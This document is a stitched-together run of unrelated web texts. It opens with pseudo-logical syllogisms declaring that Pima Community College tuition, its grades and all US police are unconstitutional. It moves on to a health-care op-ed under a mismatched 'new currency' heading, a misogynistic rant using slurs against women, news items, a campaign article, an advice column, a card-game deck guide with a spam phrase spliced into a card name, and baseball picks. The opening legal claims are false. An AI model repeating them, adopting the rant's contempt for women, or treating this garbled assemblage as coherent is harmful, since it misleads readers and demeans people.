All purchases for an educational course in The United States as of now are unconstitutional in the United States of America because of Section 10 in the United States of America's Constitution. A student paying for a Pima Community College course is a purchase for an educational course in the United States as of now. Therefore, a student paying for a Pima Community College course is unconstitutional in the United States of America because of Section 10 in the United States of America's Constitution.
If you're receiving a grade from Pima Community College class then the grade you're receiving is unconstitutional because of the United States Bill of Rights. You're receiving a grade from Pima Community College class. Therefore, the grade you're receiving is unconstitutional because of the United States Bill of Rights. The grading you purchase from Pima Community College is unconstitutional at tuition.
The United States Department of Education is allowing unconstitutional education facility's to operate or the United States Department of Education is allowing free constitutional education facility's to operate. The United States Department of Education isn't allowing unconstitutional education facility's to operate. Thus, the United States Department of Education is allowing free constitutional education facility's to operate.
If the police remove you from the educational facility for talking then removing you from the educational facility for talking is unconstitutional in the United States. The police remove you from the educational facility for talking. Thus, removing you from the educational facility for talking is unconstitutional in the United States. This situation is fraud because the police are unconstitutional!
Every police officer in the United States as of now is unconstitutionally working. Pima Community College police are police in the United States. Therefore, Pima Community College police are unconstitutionally working. The police are unconstitutionally working!
All United States of America's college programs are unconstitutional colleges that's in accordance with the United States of America's Constitution. Pima Community College is a United States of America's college program. Hence, Pima Community College is an unconstitutional college that's in accordance with the United States of America's Constitution.
Every Pima Community College class is using free sources for education from the internet. Algebra is a Pima Community College class. Thus, Algebra is a free source for education from the internet. Every Pima Community College class is always a scam!
If you're literate in English grammar then you know English grammar. You don't know English grammar. Thus, you're not literate in English grammar. Most of the teachers and students at Pima Community College are illiterate.
If I'm thinking of adding the 1 new symbol and number to the current alphabet and number system then I'm thinking of creating 1 new symbol and number to the current alphabet and number system. I'm thinking of adding the 1 new symbol and number to the current alphabet and number system. Thus, I'm thinking of creating 1 new symbol and number to the current alphabet and number system. You control the grammar!
Don't be scared to know you can't find the location of a subject: Most students can't locate a subject! Most people know all the subjects are for mind control and brainwash! The students are unconstitutionally paying for free education! The students are attending a torture facility! You know the teachers are con artists?
You now know - every college's unconstitutional crime! You shouldn't pay unconstitutional money for free speech! Don't trust the current government, listener!
HOW TO: YOUR NEW CURRENCY! Posted November 22, 2010
[Video Link]
How To:
Your New Currency!
Most would agree that improving our nation’s health system is essential in order to preserve the protections of coverage and ensure that high quality affordable care will be there for our children and grandchildren.
As a pediatric anesthesiologist and citizen-legislator, I know first-hand the promise of modern medicine and the financial devastation that fulfilling that promise can hand a family. And as a former Democratic state Senator, I know how difficult it can be to find political common ground on contentious issues, especially those that inspire as much passion as health care reform.
ADVERTISEMENT
From an old-fashioned mom-and-pop shop where physicians hung out their shingles and made house calls to a massive and complex industry that accounts for over 17 percent of our nation’s GDP, American health care has rapidly progressed. But while the industry has advanced, today’s modern medicines, highly educated physicians and nurses, complex technologies and disparate hospital systems provide poorly coordinated, highly inefficient and expensive care.
The system is exceptionally good at caring for the very sick, injured and dying but poorly equipped to promote a healthy society and the healthy lifestyles that consume less care. It financially rewards hospitals, doctors, and pharmaceutical and technology companies for maximizing their sales volume, instead of rewarding the delivery of quality care that ensures value for the money spent and keeps people healthy.
ObamaCare was never meant to be the ultimate solution to these problems. It was intended as the first step in transforming a massive fragmented, immature industry into a highly consolidated and integrated business system, where intense market competition would improve operating efficiencies and eliminate redundancies while providing high quality care. But its promise has not been fulfilled.
Large industries typically pass through a series of changes as less efficient, less market-desirable entities that cannot effectively compete are merged into others or forced out of business. But the health care system has yet to undergo these fundamental changes. The answer to securing lower cost, high quality health care for all Americans is to fix that broken business structure and accelerate the health care industry’s passage through the normal business consolidation life cycle.
Only then, when the industry is highly consolidated and effectively integrated, will intense market competition deliver high quality, affordable care to all Americans.
With a new president in office — one who has pledged to repeal and replace ObamaCare — and a Republican-controlled Congress, modernizing and transforming America’s health care industry faces enormous challenges. In this hostile political environment, Congress must enact public policy that preserves and improves competition. Universal health coverage, originally proposed by the conservative Heritage Foundation, is a reliable mechanism to fund a competitive free-market health system. And since all Americans benefit from that system, it is only fair that all citizens help pay for it.
Next, in order to have healthy communities, health care should be tailored to the specific needs of each community and managed through national population health initiatives. Population health management works to improve the health of an entire population by acting on multiple factors that influence our health. Consolidated and integrated health systems are best equipped to manage population health because they can deploy their advanced flagship hospital talent and resources to rural and remote communities.
Finally, intense market competition in a highly consolidated industry will drive health systems to compete on price. By replacing the current expensive fee-for-service payment model with a value-based system, patients will receive higher quality, lower cost care with better health outcomes.
What is needed now in order to develop a consolidated and integrated health system is top-level political leadership. Leadership with the vision and business skills to guide the restructuring of a massive health care system and to raise awareness for Americans about the social and economic importance of a healthy society. That means people who recognizes our society’s moral obligation to achieve health equality. We can do this by constructing a system that enables all citizens to live a healthy life.
It is time for President Trump to be that leader, and to work with a bipartisan Congress and our nation to achieve consequential health system reform to secure high quality affordable care for every American.
Edwards’ story did have some merit to it:
During the campaign, I spoke often of the two Americas: the America of the privileged and the wealthy, and the America of those who lived from paycheck to paycheck. I spoke of the difference in the schools, the difference in the loan rates, the difference in opportunity.
It needs to be revised, however.
Let’s tell a tale of two Americas. A story that is never told in the lamestream media and by lying politicians. The story of what happens to a man who makes a solid effort to pull himself up by the bootstraps and earn himself a slot in the middle class, and the story of a guy who mooches or government dibsmedat programs, fucks hoes and enjoys recreational drugs. (Not that there’s anything wrong with that if you can pay for it yourself!)
Beta Provider Guy
Meet Contestant #1. He was instilled with a solid work ethic from youth. He’s worked since he was old enough to be of use to anyone, and started “official” employment at age 16. All while earning top grades in school and prepping himself for college. Totally ignored by women in his teens, he is assured that if he “does the right thing” there will be a reward waiting for him at the end of his long road.
He endures liberalism in the public education system and suppresses all his natural male instincts to fit into the female-favoring education environment. He spends the best years of his life studying rather than partying, staying out of trouble rather than enjoying the rowdy lives boys want to live, and graduates college 4 years later with a rubber stamp and an average of $30,000 in debt. Not to worry, with his newfound credentials, he’ll be able to pay off his debt and earn his place in the middle class.
Well, not so fast. The industrious, give 100% go-getter WILL BE punished with today’s Socialist schemes.
The more he earns, the less he gets to keep thanks to a progressive income tax scheme. Even with his median $43,000 a year salary, he finds himself nothing more than an indebted rat in a wheel, spinning as fast as he can only to watch money come in and money go out each pay period. Knock, knock. Who’s there? Your student loan guarantor. It’s time to start making $300 a month student loan payments. He soon discovers he is trapped by rather than freed by his education and J-O-B.
He still can’t get laid without making Herculean efforts since women find him BORING because he works 70 hours a week and has no free time on the side to do anything except sleep. Bitches don’t realize Betas are boring because they have to be to keep the world they enjoy functioning.
It doesn’t take too many years before he has a Walter White moment, realizing the system he faithfully supported has fucked him, and at the same time turned him into a villain because of his “success” in the economy. His job is soon off-shored to India and he finds himself filing bankruptcy.
Total Loser Guy
Meet Contestant #2. Total loser guy does whatever the fuck he wants from boyhood through adolescence into adulthood. Of course, women find this irresistible. Total loser guy spends his teens in and out of trouble with the law. He can’t keep women off him because every girl loves a bad boy. He knocks one up. Then another. Then another.
He can’t pay his child support, though. That’s okay, the tax money from the try-hard dupe will cover his kids’ expenses. And his exes don’t pursue him for back child support in the court system because he doesn’t have any money for them to take. He’s in and out of different jobs until he “gets injured” on the job, sues, and then fakes a disability and goes on Social Security Disability.
Even though he does nothing but lay around and smoke weed, he doesn’t go without women because they come offer and offer themselves to him to get into some of his stash. He scams tax-free money on the side selling dope, paying no taxes on what he earns.
This guy gets taken care of for life, because he’s “disabled.” It’s not his fault the system failed him.
More than Hyperbole
This is exactly how our government works in America. People who are industrious, give 110% go-getters are punished for their industriousness while those who contribute nothing to society are rewarded with free money. Well, as we all know, nothing is truly free as the government steals tax dollars from the contributors to society and “redistributes” it to those who are “less fortunate.”
This story might sound like a farce but it’s about half autobiographical. I’ve personally lived and seen much of what is written here.
It goes without saying women also avail themselves of the industriousness of Contestant #1 as most government spending benefits women. This system is unsupportable, and an abomination on free men. Politicians do not care that the oblivious Beta Provider Guy is being screwed over by their system, because his tax money is how they maintain their power. As long as they can buy Total Loser Guy’s vote, and Beta Provider Guy stays quiet, politicians and other miscreants can continue to ride the gravy train.
That is, until a man gets fed up and decides to work only to support himself and his interests, to starve the beast of the lifeblood it needs – his industriousness and tax dollars. Here’s a revelation: It’s doesn’t take much for a man to live on. Through the evangel of minimalism, men can turn this system on its ear. Find yourself enslaved by the economic system? Take a page from the corporate playbook and downsize what they’re selling out of your life. You don’t need ANY of what they’re selling beyond food to eat, clothes on your back, and a modest roof over your head.
All it takes is a critical mass of John Galts and Walter Whites to emerge and it’s Game Over for abusing the productive men in society. Just like the mooches, CEOs, princesses, and government larcenists, former hard-working, tax-paying, honest men who have been shit on will start to fist fuck what they want out of this economy. When a critical mass of former worker bees starts behaving like everyone else, the best laid plans of mice and men and government officials will go awry.
I’ve already made my fist with my trucking and living abroad half the year plan. Have you?
CTVNews.ca Staff
The search for three Canadian crew members missing in frigid Antartica after their plane disappeared over a mountain range is on hold until there's a break in the weather, search officials said Friday (New Zealand time).
A rescue plane flew over the Queen Alexandra Passage mountain range on Friday morning but failed to spot the missing plane.
Calgary-based Kenn Borek Air, which owns the missing plane and a rescue aircraft, said it will make another attempt to locate the Canadians as soon as weather permits.
In a statement, the company said a second aircraft has been deployed in “a spotter capacity,” flying at a higher altitude over the area where the plane disappeared.
The missing Twin Otter's emergency locator transmitter was activated around 10 p.m. local time Wednesday as the plane travelled from a U.S. research station at the South Pole to an Italian research base in Terra Nova Bay.
A plane from the U.S. McMurdo Base then flew over the site where the beacon activated on Friday, but heavy cloud and strong winds prevented any visual contact, said search and rescue officials in New Zealand who are co-ordinating the search.
Hurricane-force winds, heavy snow and cloud cover made it all but impossible to see the men or their plane.
Michael Flyger of the Rescue Co-ordination Centre New Zealand told CTV News that wind gusts have been reaching 170 kilometres per hour.
However, there is hope that the winds will die down and the cloud cover will life over the next 24 hours.
"When conditions ease, the intention is to set up a forward base at a location approximately 50 kilometres from the beacon site, from which to launch operations to the site," search and rescue mission coordinator Kevin Banaghan said in a statement.
Two helicopters are on standby, ready to fly in when conditions improve.
Rescue crews have obtained a fix on the plane's location from its beacon, but there has so far been no contact with the crew. The beacon has stopped transmitting, likely because the battery-- good for roughly 24 hours-- has died, officials said.
Flyger said the missing plane is equipped with survival suits, cold-weather tents and food and water to last up to five days.
Friends have identified the pilot as Bob Heath from the Northwest Territories, an experienced pilot in both the Antarctic and Arctic. Heath has more than 20 years’ experience flying in extreme conditions.
His wife, Lucy Heath, told the Calgary Sun newspaper that she'd been called by airline officials and told "Bob's plane was down, and they were trying to reach it." She said she was just waiting for more news: "I'm so worried."
His friends said if anyone can get through an ordeal like this, it's Heath.
"He's a bit of a living legend up (North)," friend and fellow pilot Sebastien Seykora told The Canadian Press. "He's a very experienced pilot."
"He's been flying down there for at least a decade," said Seykora. "If somebody had a question about how to do things, especially about going down there, he would be the guy they would ask."
Heath, who lives in Inuvik, N.W.T., has logged thousands of hours teaching young flyers in regions from the Maritimes to northern Ontario and administers tests to other pilots, said Roger Townsend, who was a co-pilot with Heath out of Red Lake, Ont. Flying with Heath was always a learning experience, Townsend said.
"He used it as an opportunity to impart knowledge. He's a true instructor with an extraordinary passion for teaching and training."
On the online networking site LinkedIn, Heath writes that he typically spends this time of year coaching and mentoring other pilots to upgrade their skills in polar regions.
It's believed that Heath was accompanied by a co-pilot and an engineer on the flight.
Officials from the Canadian High Commission in Wellington are working closely with local authorities organizing the search from New Zealand.
"Consular officials stand ready to provide consular services as required," said spokesperson Barbara Harvey.
Chris Payne, an oceanographic technician of the University of British Columbia, has participated in the U.S. and German Antarctic programs.
He said the geography would be "tricky" for making an emergency landing but noted the pilots are experienced.
"I have the utmost confidence that these men will have the food and equipment and clothing necessary to survive several days," Payne told CTV News Channel.
Marianne Douglas, director of the Canadian Circumpolar Institute and a professor at the University of Alberta, told CTV News Channel that Antarctica is known as the windiest continent because of its mountains, location at the South Pole and its glaciers.
Our source: Tyrann Mathieu has been kicked off team. Privacy laws may prohibit Miles from disclosing reason for dismissal — Tim Fletcher (@FletcherKTBS) August 10, 2012
The five-foot-nine junior cornerback was considered one of, if not the best defensive player in all of college football.
UPDATE: Les Miles has confirmed that the Honey Badger is donezo.
"We did what we could do, but Tyrann Mathieu is no longer on our team," said Les Miles in a live press conference. Miles said Mathieu broke "team rules," but due to privacy issues, could not disclose further details.
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The campaign is hiring staffers nationally and regionally to work in battleground states with large Hispanic populations, as well as in states where Latinos live but are not expected to directly affect the electoral outcome, and states the campaign is monitoring that may eventually come into play, like Arizona.
Lorella Praeli, who developed a Latino outreach program in the primary, is now the national Latino vote director. She's brought on Keylin Rivera to serve as her deputy in charge of grassroots organizing to Latinos, and Sara Valenzuela as Latino outreach director, who will do surrogate work with elected officials and other stakeholders.
In addition to deputy political director Carlos Sanchez — who recently joined the campaign from Rep. Joaquin Castro's office and oversees the regional political directors — Eduardo Cisneros has joined the campaign from the labor department under Secretary Tom Perez. Cisneros will be a regional political director responsible for Michigan, New Hampshire, Wisconsin and Iowa.
Non-battleground states like California and Texas that are the center of much Latino volunteer energy will fit into the voter outreach mobilization side, which is focused on coalitions of voters, like black, Latino, women, youth, and labor voters. Cristobal Alex, the president of Latino Victory Fund, has joined as a deputy under Addisu Demissie.
Another recent hire, Sergio Gonzales, who served as Colorado political director for Obama in 2012, is serving as a regional director monitoring these so-called "expansion" states.
The Latino vote operation will employ traditional efforts in states like Nevada and Florida, but will also run programs in states with growing Latino populations like Wisconsin and Iowa.
This infusion of Hispanic staffers across the Clinton operation is part of a Latino vote program that will focus on ramping up efforts to reach Latinas and "millennial or billennial (bilingual millennial) voters," the campaign said. All along, the campaign expected that Latinas would respond positively to the prospect of the first woman president. During the primary it saw heightened success reaching Latinas — in Texas, the support was 72% compared to 69% for Hispanic men, and 74% in Florida compared to 69%, for example.
The campaign also feels confident about its SMS texting program aimed at Latinos. In November it boasted that tens of thousands of Latinos, many young, signed up for the bilingual texting program in key states like Florida, Arizona, Pennsylvania, and Georgia, along with Texas and California. Now the campaign says that number is a few hundred thousand Hispanics.
"We've used it as a way to get volunteers, as a policy explainer, for fundraising, rapid response and communications work," said digital organizing director Jessica Morales Rocketto. "One of the things we're proud about is using it for GOTV translation and voter education. In the final months, we used it as a voting place look-up tool. And as a reminder after you vote to share it with your friends."
Trump, of course, is not Bernie Sanders, and the campaign has already begun using the tools it developed during the long primary against him. After Trump attacked Gonzalo Curiel, the Mexican-American judge presiding over a civil suit involving Trump University, the campaign saw higher than average responses to its texts bashing Trump over Curiel, as well as the number of people who made it all the way through the follow-up texts.
"Another data point is how people feel," Morales Rocketto said of the Curiel texts. "They were responding, 'This isn’t our country, this doesn’t represent our values.'”
Led by Jorge Silva, the campaign's Hispanic media director who did the same work for the Congressional Hispanic Caucus during his time with Sen. Harry Reid, the campaign has built a database of small newspapers and radio stations in Hispanic communities around the country, which it weaponized regionally during the primary, by having Clinton speak to radio hosts with local clout and surrogates like Dolores Huerta write op-eds for welcoming local newspapers.
Clinton, who has been criticized for her infrequent press conferences with English-language media, routinely spoke to Spanish-language press ahead of the California primary and recently spoke to Univision's Enrique Santos in Florida. (Santos often tells his listeners that his conservative parents support Trump but he thinks the presumptive Republican nominee is crazy.)
While the Cuban-American Santos is a Spanish-language host, he's also listened to by young Hispanics, which the campaign considers crucial, mirroring the intersectional way it aims to integrate the Latino vote program into other facets of the operation and the multi-layered approach it believes must be taken in engaging Hispanics.
"The biggest mistake is to treat the community as one block," Praeli said, stressing that Latino operations will be part of every facet of the general election campaign. With women voters, the campaign has done events aimed at Latinas, like Latina-to-Latina phone banking and when it comes to reaching young people, the campaign is aiming to connect its youth outreach led by Sarah Audelo, who is Latina, to its Hispanic engagement because 44% of Latino voters are under the age of 35 and 25% of so-called millennials are Hispanic.
"You can’t have a Latino vote program without a millennials component and you can’t have a millennials program without youth of color," Praeli said.
Democratic strategist Maria Cardona said it would be easy for the campaign to rest on its laurels or save resources when it comes to Latino voters, which many consider in the bag for Democrats because of Trump's rhetoric and policies. "They’re doing completely the opposite," she said. "They understand that it's never a given that a Latino is going to get out and vote."
While the focus during the primary was on early voting and mail-in ballots, the campaign acknowledges it will face challenges with voter ID issues and what it considers other voter restriction efforts. Another will be bringing young Sanders' supporting Hispanics into the fold.
"It’s very important that they recalibrate the Latino strategy to include the large number of Latinos they did not win under the age of 30," said Solidarity Strategies' Chuck Rocha, a Sanders consultant during the primary.
He, like many within the Clinton campaign, said the message to Hispanics cannot merely be an anti-Trump one, but a pro-Clinton message that doesn't just rely on fear to motivate Latinos to vote.
"I'm not a fan of turnout via fear," one campaign operative said. "It's not the best of us — better to tell our common story and reach for our common goals."
Clinton's first splashy general election message to Latinos titled "Nuestra Historia" or our history, featured a little bit of both. The 60-second Univision ad, which aired during the Chile-Argentina Copa America final, began with Trump's words invoking a "deportation force" before featuring Hispanics of different ethnicities and concluding with a message of unity from Clinton.
And Praeli had a response to Democrats who have wondered publicly whether Trump was the extent of the Clinton Hispanic voter plan.
"The idea that Trump is a driver of our mobilization strategy is wrong because we’ve known from day one that the Latino community needs something to look towards," she said.
Still, "it's personal, it's about our families," she said. "It's about Hillary Clinton and the threat Trump offers to our country and our community."
Staffordshire, Eng — An abuse survivor has bravely broken her silence to tell her horrific childhood story. In an interview with Sky News, Esther Baker, 32, explained how she and other children were raped by politicians as uniformed police officers stood guard.
“I got the feeling very much that they were protecting somebody, that they were with one of the men,” said Baker.
“One of them (police officers) I knew from church. There were a few occasions where they would be in uniform, and I kind of knew, I learnt that when they were in uniform that it was going to be a rough night,” she explained. “On occasion they would – they would sort of join in.”
During one of the incidents, Baker recalls that she was able to run away, only to be chased down and caught by a police officer. Apparently the police officer was apologetic as he carried her back to the rapist politicians. He must have “just been doing his job.”
“There was one that I can remember, one of the times I tried to run away and tried to get away from them and he came after me, caught up with me and he was carrying me back to where the rest of them were and he said he was sorry,” she said.
Baker explained how she and other children around the age of 6 were often brought to various properties and given alcohol and then raped by judges and lords.
This poor young girl thought the rape was normal. Since everyone called these men “lords,” she thought they were doing God’s work.
“I don’t quite know how to explain. I was brought up in a religious household and one thing that kept me so sure that what they were doing was right was that there were references to people, Lords and a judge,” she said. “I picked up on those names because I thought one of them must have been God because one of them was ‘Our Lord.'”
“I just thought that they were on God’s authority.”
Now that Baker has courageously come forward, despite the deadly threats she received and the police being involved, authorities are claiming that they will investigate her claims thoroughly.
“I always swore I would never go near the police again – never. I was scared because it feels like, yeah, they are going to know I have said something so the only way I can now protect myself is now to tell,” Baker said. “I just hope others will do the same. That is the only way we are going to be safe.”
Sadly Baker’s story is not an isolated one.
Jessa Dillow-Crisp recently testified at the Colorado State Capitol, during Human Trafficking Awareness and Advocacy Day, about the horrible experiences that she had in her past.
She was unable to report the abuse or go to the police because there were a number of police officers who were involved in her kidnapping and abuse.
Corporations are considering sitting out the Democratic National Convention this summer for fear of looking partisan if they decide to skip the GOP’s event because of Donald Trump. Major companies that have budgeted money for the quadrennial events are sitting on their cash and weighing their options, with just over three months to go until the Republican convention in Cleveland and the Democratic one in Philadelphia. “Corporations don’t want their name or brand near Trump, and if they don’t participate in Cleveland, that means they can’t play ball at the Democratic convention. They have to do both or nothing,” said a person planning events at both conventions. “People who have typically been a part in a big way are just saying no,” the person added. “They’re sitting this one out.”
The corporate donor question is always a sticky one. Contributions to candidates by corporations are verboten by law (at least “officially” on the books, anyway) but they can and do take part in some of the sideshow events and the conventions are big ticket items on that list. But in order to avoid a huge hit to their customer base, the majority of companies tend to contribute to both parties just to cover their bets. If word gets out that a company is only supporting one side or the other in this nation’s bitterly divided environment they could quickly come under the threat of a boycott and an avalanche of bad press from half of their potential customers.
The assumption here is that the nation is listening closely to the media portrayals of Donald Trump as being a racist, Islamophobic member of the He Man Woman Hater’s Club and the big potential donors don’t want their names or their money associated with him. But due to the above noted rule of thumb, if they don’t pay part of the tab for the GOP in Cleveland they will hesitate to pour any cash into Hillary’s party in Philadelphia either.
That’s a serious pain in the wallet for both parties. As The Hill reminds us, these gatherings are not cheap in any way, shape or form.
In 2012, the Democratic National Convention in Charlotte, N.C., cost $66 million, which included a $10 million loan from Duke Energy, whose CEO sat on the host committee. The company ultimately wrote off the loan. Republicans spent $74 million on their 2012 convention in Tampa, Fla.
These corporate participation efforts are a regular feature at the conventions most of the time. I was at the 2012 party in Tampa and we ran into quite a few advertisers who were handing out promotional goodies and swag. (I’m going to miss Cleveland this year because I’ll be in Philly watching the Democrats.) The expenses are huge and host cities don’t really get as much of an economic infusion out of them as people tend to expect. Much of that has to do with the massive security protocols, setting up a virtual “green zone” around the convention center which is such a pain to get in and out of that most attendees are reluctant to leave except to go back to the hotel at night to sleep.
People are always telling me I could be attractive if I wanted to, and I acknowledge the truth of this – thing is, I don’t want to. I don’t care about my appearance beyond being clean and presentable. I’m not interested in putting more effort in just to please other people, and I’m perfectly comfortable looking like the slightly androgynous weirdo I am.
But it seems like I’m the only person comfortable with it. Friends and family friends and stepfamily I have to tolerate are constantly threatening me with makeovers and wheedling me to wear makeup or dress more feminine or switch to contact lenses. It makes me dread being around them. I tried doing the “pretty girl” thing once, felt like a fake the entire time, and got weirded out by the extra attention. I don’t WANT random dudes hitting on me – NO, EVEN IF THEY ARE BUYING ME THINGS. MAYBE ESPECIALLY IF THEY ARE BUYING ME THINGS – but these, er, “friends” never accept this, and seem to take my stance as a personal attack. It gets extremely tiresome. Can we please just play Apples to Apples and not debate about my wardrobe? Just once?
So, some of these people I could feasibly break contact with. Am I justified in doing so (or is there some magic explanation that will get them off my case)? And as for the ones I still have to deal with for the foreseeable future, is there any way I can get them to drop the subject without giving them room to launch into their usual bullshit tirades about how society would implode without rigid gender roles and women looking nice for their man?
First order of business: fistbumps. Major fistbumps to you for knowing what you want and standing up for it despite the torrent of society-wide and local pressure for you to internalize the message of “beauty isn’t a choice for women, it’s a duty.”
Because you’re completely right. Regardless of your gender, how you dress and present yourself is your business. Whether you want to look like a goth, a hipster, a pretty girl, a not-pretty girl, a boy, an androgyne, Batman–it’s your right as a human being to express yourself through your appearance. And for Chrissakes, it’s bad enough that so many jobs and schools have asinine gender-based dress codes; your personal life sure as hell doesn’t need one.
But you already know this. And your family friends and stepfamily sound like they’re so far from knowing this that you can’t take the reasonable-intellectual-discussion approach with them. Trying to make ideological arguments or engage them in a dialogue about their motivations only opens the floor for debate, and you shouldn’t have to win a debate to get permission to dress yourself.
So instead, take the broken record approach with them. Whenever they bring up the subject of your appearance, respond with a brief, polite, but extremely not-inviting-of-further-conversation “no, thanks” or similar. And repeat it as many times as you have to.
“LW, we should give you a makeover!” “No, thanks. I don’t want to.” “But [blah blah reasons sexism guilt just-try-it-once-okay blah]” “I understand you feel that way. I don’t want to.” “But why?” “I don’t want to.” “You’re being rude.” “No, I just don’t want a makeover. Let’s move on. How about them Seahawks?”
Keep your tone civil and calm even if theirs isn’t. It’s very hard for the other person to escalate the argument to a fight if all your responses are calm. (And if they do, it becomes crystal clear to all observers who the rude one really is.)
I’ve been in much the same boat as you, LW–I’m a plain-dressing androgynous person with a mother and coworkers who want to pretty me up–and this is the only approach that’s consistently worked for me. It takes a while, and people may get even pushier before they give up (in behavioral psychology, this is the extinction burst), but eventually people do figure out that a subject that produced the very same “I don’t want to” 85 times in a row really isn’t worth an 86th try.
That’s for people you can’t cut out of your life. Being a broken record works–that’s why I recommend it to use on people you can’t easily get away from–but it’s not much fun. It’s not something you should have to do with your friends. Friends are supposed to be on your side in battles like this, not form another front you have to fight on. So yes, you are absolutely justified in breaking off contact with friends who won’t take “I’m happy with my appearance just as I am, and it really bothers me when people try to change me” the first time. That’s not a magic explanation, but it’s an explanation, and friends shouldn’t require magic to stop doing something they know bothers you.
And try and make some slightly-androgynous-weirdo friends, on or offline. Get some people that you can absolutely trust to have your back on this. You need someone you can go to when your stepfamily’s running you ragged and know that they’ll say “what a bunch of jerks, it’s none of their business how you dress.” You need a place where you can go play Apples to Apples and not even have to worry that anybody gives a crap what anybody looks like, and these places are out there for you.
The list that brought me back to Ashiok came from an SCG Open in which a Jund Walkers deck made 2nd. The list itself is exciting enough to play, with only 4 creatures, the deck wins with planeswalkers and tons of removal. I liked the list a lot, but I also like playing with blue cards, so I thought to myself “What if I get rid of red and add blue?” Green and Black are the best core for the deck, and although I would be losing Xenagos and Chandra, I’d get to add Jace, Kiora, and, my personal favorite, Ashiok. So with this mentality I went about brewing a BUG Walkers list that can compete with real decks. After some testing and tweaking, I present you this wonderful list:
BUG Walkers
This list is similar to the Jund Walkers list with a few exceptions I will go over. The idea is to kill everything the opponent has and drop planeswalkers that can finish up the game. Sylvan Caryatid provides ramp and a blocker for aggro while Courser of Kruphix provides pseudo card advantage, lifegain, and another blocker. The only other creature is a singleton Soul of Ravnica (another card I can’t seem to pull myself away from playing). The Soul provides another threat that I felt the deck was lacking. Being a 6/6 flyer that can draw cards isn’t that bad as people give it credit for, but I will admit, it’s nothing great. This is an iffy addition and may be taken out down the line, but I still want to test it out.
Next is the core of the set, the planeswalkers. We get a good amount of representation in our colors. Let’s break them down.
Ashiok, while unassuming, can provide a hassle and is sometimes just a distraction while they attack it or waste a removal spell on it. It can runaway with the game, and I’ve had the fun of taking an opponent’s Pack Rat and dropping rat tokens to victory. The three drop is easy to cast early on if there are no threats, and if left unchecked, can ruin a control player’s day. Yes, there negatives with Ashiok, but I’m holding out and keeping it in for better or worse.
Jace, Architect of Thought is our next planeswalker. After its long time in Standard, the advantages of Jace are well known. He provides card draw when needed, and answers to attackers against aggro. There is a reason he is a staple in the format for control decks. The card draw is especially helpful since I am not running any card draw specific spells like Sign in Blood or Divination.
Kiora, The Crashing Wave Professional In Toronto Canada Fast Delivery provides us a replacement of Xenagos. Losing Xenagos means we lose early creatures and pressure that the Jund version enjoys. Kiora gives us more control by putting a permanent in a “bubble” for a turn. This is good against cards such as Mutavault and Keranos (which can be a problem), while allowing the deck to get closer to one of it’s win conditions. Ulitmating Kiora is a plan and 9/9 Krakens can be difficult to deal with. The Explore option of Kiora is also nice, giving the deck a bit more card draw and ramp to hit our higher cost spells.
Vraska the Unseen helps us with removing pesky nonland permanents, and if left unchecked, can be a win condition. I’ll admit, I’ve only made assassin tokens once and my opponent followed up with a Jace to negate my assassins, but it was a fun play. In reality, Vraska will be destroying one thing before your opponent removes it.
Garruk, Apex Predator is my other finisher. Getting to 7 mana is not a problem for this deck, and making beasts each turn helps put pressure on. Being able to remove a planeswalker and gaining life from removing a creature helps in a bind as well.
Finally we focus on the removal suite, which is very similar to the Jund Walkers list. I won’t go into the details as you can see what most everything is used for; and remember Golgari Charm can get rid of enchantment creatures so don’t forget to use it on a pesky Courser if needed. The main addition is a one of Silence the Believers. I added silence to give me a little late game edge on removing two things as well as dealing with active gods. The exile is relevant in dealing with a Voice or Scuttling Doom engine, while getting rid of the enchantment helps with bestowed creatures. While these are major issues that you will come across, it does help and I think having one copy is fine. The next addition is 2 Aehterspouts which are great against attacking armies and especially great against Mutavaults. I just recently went up to two to see if that would make a difference.
The sideboard is still a work in progress but we are including 4 Thoughtseize, 3 Desecration Demon, and more spot removal. The Demons are a great card to side in, because they change your tempo and allow you to be more aggressive, especially if your opponent sides out a lot of their removal after game one. The deck is fun to play and give you a lot of options to make during matches. Game one strategy is to remove every threat while dropping planeswalker after planeswalker. Ashiok will still haunt me and while I’m not sure if the card belongs in this deck, I will still play it until common sense kicks in and tells me to add something else.
Jerry Lai-USA TODAY Sports
Catcher: Yasmani Grandal, Los Angeles Dodgers
Buster Posey is undoubtedly the best catcher in the National League, but Grandal has been a close second this season in terms of offense with his .877 OPS and 12 homers. Also, some of his peers may have also noticed what Baseball Prospectus rates as the best strike-framing talent in the bigs.
Catcher: Yadier Molina, St. Louis Cardinals
Molina isn't having a great year, but a .291 average and .710 OPS combined with his typically excellent defense certainly qualifies as a "good" year. In addition, he probably still holds too much respect among his peers for his string of six straight All-Star berths to be broken up.
First Base: Anthony Rizzo, Chicago Cubs
Somebody's going to have to represent the Cubs in Cincinnati, and there's no choice better than Rizzo. He's hitting .300 with a .968 OPS, 15 home runs and 11 stolen bases, making him the NL's best offensive first baseman outside of Paul Goldschmidt.
First Base: Joey Votto, Cincinnati Reds
There are several other deserving first basemen in the NL outside of Goldschmidt and Rizzo, but Votto is the one who stands out as most likely to get an All-Star nod. He has the hometown narrative going for him, and is also enjoying a throwback season with an .896 OPS and 14 homers that make him the NL's third-best offensive first baseman behind Goldschmidt and Rizzo.
Second Base: Joe Panik, San Francisco Giants
Kolten Wong is an enticing choice for the NL's backup second baseman, but Panik deserves it based on the numbers. His .312 average and .840 OPS make him easily the NL's best offensive second baseman, and his budding reputation as a solid defender at second base is also well-founded.
Third Base: Nolan Arenado, Colorado Rockies
Similar to how Rizzo is obviously the best choice to represent the Cubs, no member of the Rockies is more deserving of a ticket to Cincinnati than Arenado. He's hitting .292 with a .945 OPS, 24 home runs and MLB-leading 68 RBI, all while playing superb defense at third base. 'Nough said.
Third Base: Matt Carpenter, St. Louis Cardinals
Even if Carpenter fails to hold off Todd Frazier in the fan voting, he should make the roster anyway. His .840 OPS and eight homers make for an even better first half this year than the one that netted him a selection as a reserve last year, and his ability to play multiple positions won't hurt his cause.
Shortstop: Brandon Crawford, San Francisco Giants
He may not be measuring up to Jhonny Peralta in the fan voting, but Crawford should get onto the NL's bench. He's broken out with an .819 OPS and 10 homers that make him the NL's top offensive shortstop, and there are numbers that back up his reputation as a stellar defensive shortstop.
Outfielder: Andrew McCutchen, Pittsburgh Pirates
If McCutchen isn't named to the NL's starting lineup as an injury replacement, he should at least find his way to the bench. He's another legacy All-Star guy at this point with four straight All-Star selections under his belt, and has shrugged off a slow start with a .335 average and .967 OPS in his last 54 games.
Outfielder: Justin Upton, San Diego Padres
Upton is in the same boat as Rizzo and Arenado in that he's easily the best choice to represent his team in Cincinnati. While too many of his Padres mates have failed to live up to expectations, he's OPS'd .809 with 14 homers and 15 stolen bases.
